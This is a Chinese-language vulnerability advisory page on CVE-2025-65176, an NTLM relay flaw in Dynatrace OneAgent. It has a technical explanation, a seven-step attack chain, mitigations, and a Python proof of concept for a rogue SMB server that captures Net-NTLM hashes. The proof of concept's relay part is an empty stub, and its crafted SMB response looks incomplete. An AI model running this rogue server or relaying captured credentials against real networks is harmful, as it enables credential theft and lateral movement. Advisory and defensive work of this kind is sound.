IPBUF安全漏洞报告
English
CVE-2025-65176 CVSS 7.5 高危

CVE-2025-65176 Dynatrace OneAgent NTLM中继攻击漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-65176
漏洞类型
NTLM中继攻击
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dynatrace OneAgent

相关标签

NTLM中继攻击Dynatrace OneAgent认证绕过CVE-2025-65176高危漏洞Windows安全横向移动SMB协议

漏洞概述

CVE-2025-65176是Dynatrace OneAgent中的一个高危安全漏洞,CVSS评分7.5。该漏洞源于OneAgent在处理远程网络共享访问失败时的错误认证逻辑。当OneAgent尝试访问远程网络共享并收到STATUS_LOGON_FAILURE错误时,代理会枚举并获取系统上的所有用户令牌,随后使用这些用户身份反复尝试访问网络共享。这一行为为攻击者提供了NTLM中继攻击的机会。攻击者可以通过在受影响的系统上设置恶意的网络共享,诱导OneAgent进行认证连接,从而截获和重放NTLM认证令牌。成功利用此漏洞的未授权攻击者可以执行NTLM中继攻击,可能导致横向移动或权限提升。漏洞影响Dynatrace OneAgent 1.325.47之前的所有版本。

技术细节

Dynatrace OneAgent在1.325.47之前的版本中存在一个认证处理缺陷。当Agent尝试访问远程网络共享资源时,如果服务器返回STATUS_LOGON_FAILURE(登录失败)错误,Agent的错误处理逻辑会触发以下行为:1)枚举当前系统上的所有用户会话令牌;2)使用这些令牌逐一尝试访问目标网络共享。这种设计本意可能是为了在多用户环境下确保监控功能的可用性,但实际上产生了严重的安全风险。攻击者可以在内网中部署恶意的SMB服务器,监听来自OneAgent的连接请求。当OneAgent使用不同用户令牌尝试认证时,攻击者可以截获这些NTLM认证消息,包括Net-NTLM哈希。然后攻击者可以将这些认证消息重放到其他目标服务(如Exchange、ADCS、SQL Server等),实现NTLM中继攻击,从而获取目标服务的访问权限。整个攻击过程不需要任何用户交互,攻击者只需在受影响的系统上具有基本的访问权限即可发起攻击。

攻击链分析

STEP 1
步骤1
攻击者在内网中部署恶意的SMB服务器,监听445端口,等待来自Dynatrace OneAgent的连接
STEP 2
步骤2
Dynatrace OneAgent尝试访问远程网络共享进行监控任务
STEP 3
步骤3
恶意SMB服务器返回STATUS_LOGON_FAILURE错误,触发OneAgent的错误处理逻辑
STEP 4
步骤4
OneAgent错误处理机制枚举系统上的所有用户令牌,并逐一使用这些令牌重试访问网络共享
STEP 5
步骤5
攻击者捕获来自OneAgent的多个NTLM认证请求,获取多个用户的Net-NTLM哈希
STEP 6
步骤6
攻击者使用NTLM中继技术,将捕获的认证消息转发到其他目标服务(如Exchange、ADCS、SQL Server)
STEP 7
步骤7
成功中继认证后,攻击者获取目标服务的访问权限,实现横向移动或权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-65176 NTLM Relay Attack PoC # This PoC demonstrates the NTLM relay vulnerability in Dynatrace OneAgent # Attack Scenario: Setup a rogue SMB server to capture Net-NTLM hashes import socket import threading import hashlib import binascii import struct class RogueSMBServer: def __init__(self, host='0.0.0.0', port=445): self.host = host self.port = port self.captured_hashes = [] def start(self): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((self.host, self.port)) server_socket.listen(5) print(f"[*] Rogue SMB Server started on {self.host}:{self.port}") print("[*] Waiting for Dynatrace OneAgent connection...") while True: client_socket, addr = server_socket.accept() print(f"[+] Connection received from: {addr}") threading.Thread(target=self.handle_client, args=(client_socket,)).start() def handle_client(self, client_socket): # SMB Negotiate Protocol Request data = client_socket.recv(1024) if b"SMB" in data: print("[*] SMB Negotiation Request received") # Send SMB Negotiate Protocol Response with STATUS_LOGON_FAILURE # This triggers OneAgent to enumerate user tokens and retry response = self.build_smb_response() client_socket.send(response) print("[+] Sent malicious response to trigger token enumeration") # Capture subsequent authentication attempts try: auth_data = client_socket.recv(4096) if auth_data: print("[+] Captured NTLM authentication data") self.extract_ntlm_hash(auth_data) except: pass client_socket.close() def build_smb_response(self): # Construct SMB response that triggers STATUS_LOGON_FAILURE # This will cause OneAgent to enumerate all user tokens smb_header = b"\x00\x00\x00\x00" error_status = b"\x34\x00\x00\xC0" # STATUS_LOGON_FAILURE return smb_header + error_status def extract_ntlm_hash(self, data): # Extract NTLMSSP authentication from captured data if b"NTLMSSP" in data: ntlm_offset = data.find(b"NTLMSSP") ntlm_data = data[ntlm_offset:ntlm_offset+256] print(f"[+] NTLM Data captured: {binascii.hexlify(ntlm_data[:32])}") self.captured_hashes.append(ntlm_data) print(f"[*] Total hashes captured: {len(self.captured_hashes)}") def relay_attack(target_server, captured_hash): # NTLM Relay: Forward captured hash to target server print(f"[*] Relaying hash to target: {target_server}") # Implementation would relay the NTLM authentication to target # Potential targets: Exchange, ADCS, SMB servers, etc. pass if __name__ == "__main__": server = RogueSMBServer(host='0.0.0.0', port=445) server.start()

影响范围

Dynatrace OneAgent < 1.325.47

防御指南

临时缓解措施
在无法立即升级的情况下,可以采取以下临时缓解措施:1)禁用OneAgent对远程网络共享的自动访问功能;2)在防火墙或网络设备上阻止OneAgent服务器对内网SMB服务的访问;3)启用SMB签名和Extended Protection for Authentication;4)监控和告警异常的认证失败日志;5)限制OneAgent服务器的出站网络连接,仅允许必要的监控通信。建议尽快升级到官方发布的安全版本1.325.47。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表